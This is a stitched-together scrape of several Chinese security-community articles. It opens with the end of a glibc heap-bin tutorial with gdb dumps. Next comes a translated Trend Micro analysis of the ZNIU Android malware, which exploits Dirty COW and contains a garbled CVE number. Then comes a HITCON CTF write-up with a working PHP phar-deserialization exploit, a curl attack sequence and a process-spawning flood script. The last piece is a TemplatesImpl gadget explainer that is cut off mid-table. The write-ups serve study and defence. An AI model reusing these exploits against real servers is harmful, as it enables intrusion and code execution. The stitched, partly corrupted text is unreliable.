0x804b000: 0x00000000 0x000000a9 0xf7fac7b0 0x0804b0e0
0x804b010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b040: 0x00000000 0x00000000 0x00000000 0x00000000
*/
##### small bin
1. `small bin`中的chunk也由双链表维护
2. `small bin`中的大小必须小于`0x200`
3. 与`unsorted bin`不同，释放后的块不会在释放后插入`small bin`，只有`unsorted bin`中的切分块会被插入到`small bin`（更多的细节将在第二部分讨论）
4. 在从`small bin`中取出时，分配器遵循先进先出原则
#include
#include
int main()
{
char *p1, *p2, *p3, *p4, *p5, *p6;
p1 = malloc(0xa0);
p2 = malloc(0x30);
p3 = malloc(0xa0);
p4 = malloc(0x30);
p5 = malloc(0xa0);
p6 = malloc(0x30);
free(p1);
free(p3);
free(p5);
malloc(0x50);
malloc(0x50);
malloc(0x50);
return 0;
}
/*
(gdb) x/40wx 0xf7fac780
0xf7fac780: 0x00000000 0x00000001 0x00000000 0x00000000
0xf7fac790: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7b0: 0x0804b2a0 0x0804b218 0x0804b218 0x0804b218
0xf7fac7c0: 0xf7fac7b8 0xf7fac7b8 0xf7fac7c0 0xf7fac7c0
0xf7fac7d0: 0xf7fac7c8 0xf7fac7c8 0xf7fac7d0 0xf7fac7d0
0xf7fac7e0: 0xf7fac7d8 0xf7fac7d8 0xf7fac7e0 0xf7fac7e0
0xf7fac7f0: 0xf7fac7e8 0xf7fac7e8 0xf7fac7f0 0xf7fac7f0
0xf7fac800: 0x0804b138 0x0804b058 0xf7fac800 0xf7fac800
0xf7fac810: 0xf7fac808 0xf7fac808 0xf7fac810 0xf7fac810
(gdb) x/20wx 0x0804b138
0x804b138: 0x00000000 0x00000051 0x0804b058 0xf7fac7f8
0x804b148: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b158: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b168: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b178: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0x0804b058
0x804b058: 0x00000000 0x00000051 0xf7fac7f8 0x0804b138
0x804b068: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b078: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b088: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b098: 0x00000000 0x00000000 0x00000000 0x00000000
*/
##### large bin
1. `large bin`中的块也由双链表维护
2. `large bin`中的块大小必须大于`0x200`
3. 除了`fwd`和`bck`指针以外，`large`块中还有`fd_nextsize`和`bck_nextsize`域用来表明`large`块中的不同大小（降序排列）
4. 与`small`块类似，释放后的`large`块不会被插入到`large bin`当中，只有从`unsorted bin`中气氛的块会被插入到`large bin`中。
5. 在从`large bin`中取出chunk时，分配器遵循`最佳适配`原则，也就是找到比需求大小大的最小块
#include
#include
int main()
{
char *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8;
p1 = malloc(0x1000);
p2 = malloc(0x30);
p3 = malloc(0x1000);
p4 = malloc(0x30);
p5 = malloc(0x1000);
p6 = malloc(0x30);
p7 = malloc(0x1000);
p8 = malloc(0x30);
free(p1);
free(p3);
free(p5);
free(p7);
malloc(0x810);
malloc(0x810);
malloc(0x840);
malloc(0x840);
return 0;
}
/*
(gdb) x/200wx 0xf7fac780
0xf7fac780: 0x00000000 0x00000001 0x00000000 0x00000000
0xf7fac790: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7b0: 0x0804f100 0x00000000 0x0804b848 0x0804b848
0xf7fac7c0: 0xf7fac7b8 0xf7fac7b8 0xf7fac7c0 0xf7fac7c0
0xf7fac7d0: 0xf7fac7c8 0xf7fac7c8 0xf7fac7d0 0xf7fac7d0
0xf7fac7e0: 0xf7fac7d8 0xf7fac7d8 0xf7fac7e0 0xf7fac7e0
0xf7fac7f0: 0xf7fac7e8 0xf7fac7e8 0xf7fac7f0 0xf7fac7f0
0xf7fac800: 0xf7fac7f8 0xf7fac7f8 0xf7fac800 0xf7fac800
0xf7fac810: 0xf7fac808 0xf7fac808 0xf7fac810 0xf7fac810
0xf7fac820: 0xf7fac818 0xf7fac818 0xf7fac820 0xf7fac820
0xf7fac830: 0xf7fac828 0xf7fac828 0xf7fac830 0xf7fac830
0xf7fac840: 0xf7fac838 0xf7fac838 0xf7fac840 0xf7fac840
0xf7fac850: 0xf7fac848 0xf7fac848 0xf7fac850 0xf7fac850
0xf7fac860: 0xf7fac858 0xf7fac858 0xf7fac860 0xf7fac860
0xf7fac870: 0xf7fac868 0xf7fac868 0xf7fac870 0xf7fac870
0xf7fac880: 0xf7fac878 0xf7fac878 0xf7fac880 0xf7fac880
0xf7fac890: 0xf7fac888 0xf7fac888 0xf7fac890 0xf7fac890
0xf7fac8a0: 0xf7fac898 0xf7fac898 0xf7fac8a0 0xf7fac8a0
0xf7fac8b0: 0xf7fac8a8 0xf7fac8a8 0xf7fac8b0 0xf7fac8b0
0xf7fac8c0: 0xf7fac8b8 0xf7fac8b8 0xf7fac8c0 0xf7fac8c0
0xf7fac8d0: 0xf7fac8c8 0xf7fac8c8 0xf7fac8d0 0xf7fac8d0
0xf7fac8e0: 0xf7fac8d8 0xf7fac8d8 0xf7fac8e0 0xf7fac8e0
0xf7fac8f0: 0xf7fac8e8 0xf7fac8e8 0xf7fac8f0 0xf7fac8f0
0xf7fac900: 0xf7fac8f8 0xf7fac8f8 0xf7fac900 0xf7fac900
0xf7fac910: 0xf7fac908 0xf7fac908 0xf7fac910 0xf7fac910
0xf7fac920: 0xf7fac918 0xf7fac918 0xf7fac920 0xf7fac920
0xf7fac930: 0xf7fac928 0xf7fac928 0xf7fac930 0xf7fac930
0xf7fac940: 0xf7fac938 0xf7fac938 0xf7fac940 0xf7fac940
0xf7fac950: 0xf7fac948 0xf7fac948 0xf7fac950 0xf7fac950
0xf7fac960: 0xf7fac958 0xf7fac958 0xf7fac960 0xf7fac960
0xf7fac970: 0xf7fac968 0xf7fac968 0xf7fac970 0xf7fac970
0xf7fac980: 0xf7fac978 0xf7fac978 0xf7fac980 0xf7fac980
0xf7fac990: 0xf7fac988 0xf7fac988 0xf7fac990 0xf7fac990
0xf7fac9a0: 0xf7fac998 0xf7fac998 0xf7fac9a0 0xf7fac9a0
0xf7fac9b0: 0xf7fac9a8 0xf7fac9a8 0xf7fac9b0 0xf7fac9b0
0xf7fac9c0: 0xf7fac9b8 0xf7fac9b8 0xf7fac9c0 0xf7fac9c0
0xf7fac9d0: 0xf7fac9c8 0xf7fac9c8 0xf7fac9d0 0xf7fac9d0
0xf7fac9e0: 0xf7fac9d8 0xf7fac9d8 0xf7fac9e0 0xf7fac9e0
0xf7fac9f0: 0xf7fac9e8 0xf7fac9e8 0xf7fac9f0 0xf7fac9f0
0xf7faca00: 0xf7fac9f8 0xf7fac9f8 0xf7faca00 0xf7faca00
0xf7faca10: 0xf7faca08 0xf7faca08 0xf7faca10 0xf7faca10
0xf7faca20: 0xf7faca18 0xf7faca18 0xf7faca20 0xf7faca20
0xf7faca30: 0xf7faca28 0xf7faca28 0xf7faca30 0xf7faca30
0xf7faca40: 0xf7faca38 0xf7faca38 0xf7faca40 0xf7faca40
0xf7faca50: 0xf7faca48 0xf7faca48 0xf7faca50 0xf7faca50
0xf7faca60: 0xf7faca58 0xf7faca58 {0x0804c858******0x0804e908}
0xf7faca70: 0xf7faca68 0xf7faca68 0xf7faca70 0xf7faca70
0xf7faca80: 0xf7faca78 0xf7faca78 0xf7faca80 0xf7faca80
0xf7faca90: 0xf7faca88 0xf7faca88 0xf7faca90 0xf7faca90
(gdb) x/20wx 0x804c858
0x804c858: 0x00000000 0x000007f1 0x0804d898 0xf7faca60
0x804c868: 0x0804e908 0x0804e908 0x00000000 0x00000000
0x804c878: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c888: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c898: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0x804d898
0x804d898: 0x00000000 0x000007f1 0x0804e908 0x0804c858
0x804d8a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d8b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d8c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d8d8: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0x804e908
0x804e908: 0x00000000 0x000007c1 0xf7faca60 0x0804d898
0x804e918: 0x0804c858 0x0804c858 0x00000000 0x00000000
0x804e928: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e938: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e948: 0x00000000 0x00000000 0x00000000 0x00000000
*/
# 注明
原文中多处小错误已经修改。 | 社区文章 |
# 【技术分享】ZNIU：首款利用Dirty COW漏洞的Android恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/zniu-first-android-malware-exploit-dirty-cow-vulnerability/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[Shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
我们已经向Google披露了本文提到的安全问题，同时Google已经检测确认Google Play Protect已能够针对 **ZNIU**
提供相应的保护了。
2016年，被称为 **Dirty COW** （CVE-moles195）的Linux漏洞被首次公开曝光。同时安全研究人员发现，诸如Redhat和Android之类的主流Linux平台中也存在该漏洞，因为这些平台的内核都是基于Linux。这个漏洞被认定为严重的提权漏洞，允许攻击者在目标系统上获得root访问权限。不过从该漏洞被发现以来，一直没有听说过针对Android平台的Dirty
COW攻击的传闻，也许是因为攻击者正在憋大招：多花些时间搞出超级稳定的漏洞利用代码。近一年后，趋势科技研究人员收集到了ZNIU（即AndroidOS_ZNIU）的样本，这是第一个针对Android平台的Dirty
COW漏洞的恶意软件系列。
上个月，安全研究人员在四十多个国家发现了ZNIU恶意软件，其中大多数受害者都位于 **中国** 和 **印度** 。我们在 **美国** ， **日本**
， **加拿大** ， **德国** 和 **印度尼西亚**
等国也检测到了该恶意软件。截止撰写本文时，我们检测到的感染用户已经超过了5000人。同时，我们在各种恶意网站上发现，有超过 **1,200**
多种恶意应用程序都携带ZNIU代码，其中包括一个利用Dirty COW漏洞的现有rootkit，这些程序通常都会伪装成色情和游戏软件。
图1：暗藏ZNIU代码的色情程序
去年，我们曾经针对Dirty COW漏洞开发了一个PoC，经测试发现所有版本的Android操作系统都易受该漏洞的侵害，但是，这次发现的利用Dirty
COW漏洞的ZNIU代码却仅适用于64位的ARM/X86架构的Android设备。然而，这个漏洞却可以绕过SELinux并生成root后门，而我们的PoC则只能修改系统的服务代码。
我们监测了六个ZNIU rootkit，其中四个利用了Dirty
COW漏洞。另外两个分别是KingoRoot（一个rooting程序）和Iovyroot漏洞利用代码（CVE-2015-1805）。
ZNIU用到了KingoRoot和Iovyroot，因为它们可以获取ARM 32位CPU设备的root权限，其他针对该Dirty
COW漏洞的Rootkit则没有这个功能。
**
**
**感染过程**
ZNIU恶意软件通常伪装成色情应用程序，放在恶意网站上工人们下载，当用户被诱骗而点击相应的恶意URL后，它就会被安装到用户的手机上。一旦启动，ZNIU就开始与其C＆C服务器进行通信。如果有相应的更新代码可用，则从C＆C服务器下载相应的代码，并将其加载到系统中。同时，Dirty
COW漏洞利用代码将用于提权，并成相应的后门，以便将来可以发动隐蔽的远程控制攻击。
图2：ZNIU感染链
进入设备的主UI后，该恶意软件将收集用户的运营商信息，然后该恶意软件的操纵者将冒充受害者通过SMS支付服务与运营商进行交易。这样，利用受害者的移动设备，ZNIU的幕后操纵者就可以通过运营商的支付服务来“吸金”。我们从其中一个样本发现，用户的钱是根据网络流量支付给一个虚拟公司的，从下图可以看出，该公司位于中国的一个城市。
当SMS交易结束后，该恶意软件会从设备中删除付款信息，从而抹去运营商与该恶意软件操纵者之间的交易痕迹。如果运营商位于中国境外，它虽然不会与运营商进行短信交易，但该恶意软件仍将在系统中植入后门。
图3：恶意软件发送给运营商的交易请求
根据我们的分析，这个恶意软件只会使中国运营商的用户蒙受金钱损失。此外，虽然该恶意软件操纵者可以设置更高的交易金额，从而捞更多的钱，但是为了避免被用户发现，实际上每一笔交易金额都是很少的（每月20元或3美元），以免引起受害者的注意。
图4：SMS业务的截图
对于Android
OS来说，当授予其他应用程序访问设备的SMS功能的权限时，会强制用户介入，所以ZNIU需要root权限才能实现上述功能。此外，该恶意软件还可以安装后门程序，并远程加载其他恶意代码，从而继续从受害者那里榨取钱财。
**
**
**深入分析ZNIU Rootkit**
ZNIU rootkit可以通过一个独立的广播接收者(Broadcast Receiver)集成到恶意应用程序中。
图5：通过网络激活ZNIU代码
该恶意软件可以轻松地将rootkit注入第三方应用程序，而无需更改其他组件，这将有助于进行大规模的传播。
该恶意软件的操纵者还为ZNIU的DEX代码提供了加密和打包等保护措施，以对抗静态逆向工程。
经过进一步调查后发现，一旦用户将设备连接到网络或插入电源，它就会使用广播接收者(Broadcast
Receiver)激活漏洞代码。然后，该恶意软件会直接传输并执行其本地代码。
图6：ZNIU的本地代码
ZNIU的本地代码的主要逻辑如下所示：
**1\. 收集设备的型号信息。**
**2\. 从远程服务器下载相应的rootkit。**
**3\. 对漏洞利用代码进行解密。**
**4\. 逐个触发各漏洞利用代码，检查结果，并删除漏洞利用文件。**
**5\. 报告漏洞利用代码的运行是否成功。**
图7：ZNIU的网络活动
经过研究，我们还发现远程利用代码服务器的URL以及客户端和服务器之间的通信都经过了加密处理。但使用字符串解密后，我们进一步研究该漏洞利用代码服务器发现，其域名和服务器主机都位于中国境内。此外，恶意漏洞利用代码服务器的相关链接可以在附录中找到。
图8：漏洞利用代码服务器的后台
一旦下载完成，该rootkit就会借助ZLIB将“exp * .ziu”解压为“exp * .inf”。
图9：利用ZLIB解压ziu文件
这个rootkit所需的所有文件都封装在一个.inf文件中，文件名以“ulnz”开头，其中含有多个ELF或脚本文件。
图10：inf文件的结构
ZNIU rootkit可以写入到 **vDSO**
（虚拟动态链接共享对象）中，从而将一组内核空间的函数导出到用户空间，以利于应用程序更好地执行。vDSO代码可以在不受SELinux限制的内核上下文中运行。
ZNIU使用公开的漏洞利用代码将shellcode写入vDSO并创建反向shell。
然后，它会篡改SELinux策略以解除限制，并植入一个后门性质的root shell。
图11：Dirty COW用于篡改vDSO的代码
**
**
**应对措施**
用户只应安装来自Google
Play或可信的第三方应用商店的应用程序，并使用杀毒软件来提供相应的保护。此外，用户还可以与其设备制造商和/或电话运营商联系，以获得此漏洞的补丁。
我们正在监测ZNIU的活动，并且会根据事态的发展进一步更新本文。本附录（https://documents.trendmicro.com/assets/pdf/Appendix-ZNIUFirstAndroidMalwaretoExploitDirtyCOWVulnerability.pdf）中列出了相关软件的哈希值（SHA256）、包名称和应用标签。 | 社区文章 |
### 0x01 baby^h-master
源码:
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");
$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);
从上面可以明白的看出需要获取`flag`就需要通过反序列化`admin`类来触发`__destruct`来完成.
这里有一个方法就是通过设置`session-data`的数据,但是这个地方是一个`hash_hmac`,没办法绕过.
所以问题就回到了如何构造一个反序列.
> 0day
php在解析`phar`对象时,会对`metadata`数据进行反序列化.
其实在[Phar::getMetadata](http://php.net/manual/en/phar.setmetadata.php)已经给出说明.
这句话的含义中透露出了[Phar::setMetadata](http://php.net/manual/en/phar.setmetadata.php)操作是会将数据进行序列化的.
在这里有一段[测试代码](https://rdot.org/forum/showthread.php?t=4379)
<?php
if(count($argv) > 1) {
@readfile("phar://./deser.phar");
exit;
}
class Hui {
function __destruct() {
echo "PWN\n";
}
}
@unlink('deser.phar');
try {
$p = new Phar(dirname(__FILE__) . '/deser.phar', 0);
$p['file.txt'] = 'test';
$p->setMetadata(new Hui());
$p->setStub('<?php __HALT_COMPILER(); ?>');
} catch (Exception $e) {
echo 'Could not create and/or modify phar:', $e;
}
?>
> 关于phar
`phar`是`php5.3.0`之后被内置成了组件,在`5.2.0`到`5.3.0`之间的版本就可以使用[PECL扩展](http://pecl.php.net/package/phar).
`phar`用来将php多个文件打包成一个文件.
$p['file.txt'] = 'test';
创建一个file.txt,并且将test写入file.txt中.写入的内容还可以是一个文件指针;
详情请看http://php.net/manual/en/phar.using.object.php.
$p->setMetadata(new Hui());
向归档中写入meta-data,这个函数需要在php.ini中修改phar.readonly为Off,否则的话会抛出一个PharException异常.
$p->setStub('<?php __HALT_COMPILER(); ?>');
设置归档文件的php加载程序
> php中解析phar中的反序列化操作
上面测试代码的结果如下:
那么这道题的思路就是通过上传一个phar文件,之后使用`phar`解析,反序列化之后从而进入`Admin`类中的`__destruct`方法.
avatar.gif的poc
<?php
class Admin {
public $avatar = 'orz';
}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = 'idlefire';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>
将生成好的`avatar.gif`上传.之后会出去另一个难点.
$FLAG = create_function("", 'die(`/read_flag`);');
虽然已经知道如何进入`Admin`类中,但是`$FLAG`是通过`create_function`创建的,并且是没有函数名的.
但其实这个匿名函数是有名字的,格式是`\x00lambda_%d`.
[zend_builtin_functions.c](https://github.com/php/php-src/blob/d56a534acc52b0bb7d61ac7c3386ab96e8ca4a97/Zend/zend_builtin_functions.c#L1914)
do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
}
做一个简单的测试
<?php
create_function("", 'echo __FUNCTION__;');
call_user_func("\x00lambda_1", 1);
其中的`%d`会从1一直进行递增,表示这是当前进程中第几个匿名函数.因此如果开启一个新的php进程,那么这个匿名函数就是`\x00lambda_1`,所以思路就是通过向Pre-fork模式的apache服务器发送大量请求,致使apache开启新的进程来处理请求,那么`luck=%00lambda_1`就可以执行函数了.
顺序:
curl --cookie-jar idlefire 'http://host/baby_master.php'
curl -b idlefire 'http://host/baby_master.php?m=upload&url=http://avatar.gif_host/'
python fork.py
curl -b idlefire 'http://host/baby_master.php?m=upload&url=phar:///var/www/html/e0240bf4f29341c1460ebd3fac968394/&lucky=%00lambda_1'
fork.py
# coding: UTF-8
# Author: [email protected]
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = 'x.x.x.x'
PORT = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: 192.168.59.137\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
结果:
### 0x02
欢迎daolao交流...
[官方wp](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017) | 社区文章 |
# 由JDK7u21反序列化漏洞引起的对TemplatesImpl的深入学习
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近在分析JDK7u21反序列化漏洞，对命令执行载体`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`的利用点不太明白。除了JDK7u21，`TemplatesImpl`在很多反序列化漏洞中都被利用了，所以想要深入探究下它到底是做什么用的，有什么特性被利用。接下来本文将从这两个问题进行探索学习。
## 一、了解TemplatesImpl
### 1、XSLT
**在开始前首先了解下[XSLT](https://www.runoob.com/xsl/xsl-transformation.html)：**
XSL 指扩展样式表语言（EXtensible Stylesheet Language）, 它是一个 XML 文档的样式表语言，类似CSS之于HTML；
XSLT（Extensible Stylesheet Language Transformations）是XSL转换语言，它是XSL的一部分，用于转换
XML 文档，可将一种 XML 文档转换为另外一种 XML 文档，如XHTML；
**简化版[XSLT实例](https://www.runoob.com/try/tryxslt.php?xmlfile=cdcatalog&xsltfile=cdcatalog_ex1)：**
我们从一个例子来了解下XSLT，将XML转为HTML格式展示。
XML：cdcatalog.xml，保存了文章数据包括文章标题、作者等。
<?xml version="1.0" encoding="UTF-8"?>
<!-- 这里加上这句 将向XML文档添加下面cdcatalog.xsl的样式表引用 -->
<!-- <?xml-stylesheet type="text/xsl" href="cdcatalog.xsl"?> -->
<catalog>
<cd>
<title>Empire Burlesque</title>
<artist>Bob Dylan</artist>
<country>USA</country>
<company>Columbia</company>
<price>10.90</price>
<year>1985</year>
</cd>
<cd>
<title>Hide your heart</title>
<artist>Bonnie Tyler</artist>
<country>UK</country>
<company>CBS Records</company>
<price>9.90</price>
<year>1988</year>
</cd>
</catalog>
XSL：cdcatalog.xsl
XSL 样式表的根元素是 `<xsl:stylesheet>` 或 `<xsl:transform>`；
`<xsl:output>`元素定义了输出文档的格式；
XSL 样式表由一个或多个被称为模板（template）的规则组成，<xsl:template> 元素用于构建模板。
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<!-- 表示输出是 HTML 文档，版本是 4.0，字符编码方式被设置为 "ISO-8859-1"，输出会进行缩进，以增进可读性 -->
<xsl:output method="html" version="4.0" encoding="iso-8859-1" indent="yes"/>
<xsl:template match="/">
<html>
<body>
<h2>My CD Collection</h2>
<table border="1">
<tr>
<th style="text-align:left">Title</th>
<th style="text-align:left">Artist</th>
</tr>
<xsl:for-each select="catalog/cd">
<tr>
<td><xsl:value-of select="title"/></td>
<td><xsl:value-of select="artist"/></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
转换结果如下，读取xml的元素并展示为html格式：
Title | Artist
---|---
Empire Burlesque | Bob Dylan
Hide your heart | Bonnie Tyler
### 2、javax.xml.transform.Templates
TemplatesImpl实现了`javax.xml.transform.Templates`接口，`javax.xml.transform`属于JAXP（Java
API for
XMLProcessing，提供解析和验证XML文档的能力），是一个处理XSL转换（XSLT）的包，定义了用于处理转换指令以及执行从源到结果的转换的API。`javax.xml.transform.Templates`是用来处理XSLT模板的，它只定义了两个方法：
Modifier and Type | Method and Description
---|---
`Properties` | `getOutputProperties()` 获取xsl:output元素相对应的属性。
`Transformer` | `newTransformer()` 为此Templates对象创建一个新的转换上下文。
### 3、XSLTC和Translets
TemplatesImpl在`com.sun.org.apache.xalan.internal.xsltc`包下，xalan是Apache的一个项目，是XSLT处理器。
XSLTC指xslt compiler或xslt
compiling，可以把XSLT文件编译成一个或者多个Java的class文件，通过这种方式可以加速xsl的转换速度。
**这些class或者class的集合被称为Translets，他们被转换时自动会继承AbstractTranslet。**
利用Xalan命令行工具（注意使用jdk1.8以前版本）将XSLT文件转为class：
java com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile cdcatalog.xsl
执行命令后会在文件夹下生成一个class文件：
### 4、TemplatesImpl类解读
TemplatesImpl主要是通过获取Translet的Class或字节码来创建 XSLTC
模板对象。根据上面第3点的学习这里不难理解，XSLTC生成的Translets，需要转为模板对象，可以用TemplatesImpl定义和处理。
public final class TemplatesImpl implements Templates, Serializable
#### 4.1、静态内部类TransletClassLoader：
TemplatesImpl通过获取Translet的Class或字节码来创建 XSLTC
模板对象，需要在运行时加载class，因此其在内部自定义了一个静态类TransletClassLoader用来加载Translet的Class对象，并且重载了loadClass和defineClass方法。
我们知道ClassLoader的loadClass通过一个类名全称返回一个Class类的实例；
而defineClass通过接收一组字节，然后将其具体化为一个Class类的实例，它一般从磁盘上加载一个文件，然后将文件的字节码传递给JVM，通过JVM（native
方法）对于Class的定义将其实例化为一个Class类的实例。
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// 当SecurityManager未设置且FSP关闭时，_loaddexternalextensionfunctions将为空
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
// 调用super.loadClass，通过类全称获取Class类实例
ret = super.loadClass(name);
}
return ret;
}
// 从外部类访问protected修饰的父类方法。
Class defineClass(final byte[] b) {
// 调用super.defineClass，通过字节码来获取Class类实例
return defineClass(null, b, 0, b.length);
}
}
#### 4.2、属性说明：
修饰及类型 | 属性名、属性值及说明
---|---
public final static String | DESERIALIZE_TRANSLET =
“jdk.xml.enableTemplatesImplDeserialization”
private static String | ABSTRACT_TRANSLET =
“com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”
所有translets的超类名。这里的Translet类都需要继承AbstractTranslet
private String | _name = null 主类的名称或默认名称(如果未知)
private byte[][] | _bytecodes = null 包含Translet类和任何辅助类的实际类定义的字节码
private Class[] | _class = null 包含Translet类定义。这些是在创建模板或从磁盘读取模板时创建的
private int | _transletIndex = -1 主Translet类在数组_class[]和_bytecodes中的索引
private transient Map<String, Class<?>> | _auxClasses = null 包含辅助类定义的列表
private Properties | _outputProperties translet的output属性
private int | _indentNumber 要为输出缩进添加的空格数
private transient URIResolver | _uriResolver = null
URIResolver被传递给所有的transformer
private transient | ThreadLocal _sdom = new ThreadLocal();
private transient | TransformerFactoryImpl _tfactory = null
该模板对象所属的TransformerFactory的引用
private transient boolean | _overrideDefaultParser 确定系统默认解析器是否可以被重写的标志
private transient String | _accessExternalStylesheet =
XalanConstants.EXTERNAL_ACCESS_DEFAULT 协议允许样式表处理指令、Import和Include元素设置外部引用
#### 4.3、构造方法解析：
TemplatesImpl提供了两个有参构造方法都是protected，如果TemplatesImpl要实例化，需要通过内部方法进行调用。
构造方法1：通过字节码创建template对象，必须提供translet和辅助类的字节码，以及主translet类的名称。
protected TemplatesImpl(byte[][] bytecodes, String transletName, Properties outputProperties, int indentNumber, TransformerFactoryImpl tfactory)
{
_bytecodes = bytecodes;
init(transletName, outputProperties, indentNumber, tfactory);
}
构造方法2：通过translet类创建XSLTC模板对象。
protected TemplatesImpl(Class[] transletClasses, String transletName, Properties outputProperties, int indentNumber, TransformerFactoryImpl tfactory)
{
_class = transletClasses;
_transletIndex = 0;
init(transletName, outputProperties, indentNumber, tfactory);
}
#### 4.4、Templates接口方法实现：
首先是Templates接口的两个方法：newTransformer和getOutputProperties，newTransformer会调用TransformerImpl有参构造方法。
// 实现JAXP's Templates.newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
//调用TransformerImpl构造函数创建一个TransformerImpl实例
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
// 实现了JAXP的Templates.getOutputProperties()。需要实例化一个translet以获得输出属性，因此我们可以实例化一个Transformer来调用它。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
#### 4.5、方法说明：
修饰 | 方法
---|---
private void | defineTransletClasses()：定义Translet类和辅助类。
java.util.Properties |
getOutputProperties()：实现了JAXP的Templates.getOutputProperties()。
DOM | getStylesheetDOM()：返回样式表DOM的线程本地副本。
byte[][] | getTransletBytecodes()： 返回Translet字节码
java.lang.Class[] | getTransletClasses()：返回Translet字节码
int | getTransletIndex()： 返回主类在字节码数组中的索引
private Translet | getTransletInstance()：生成Translet类的实例。
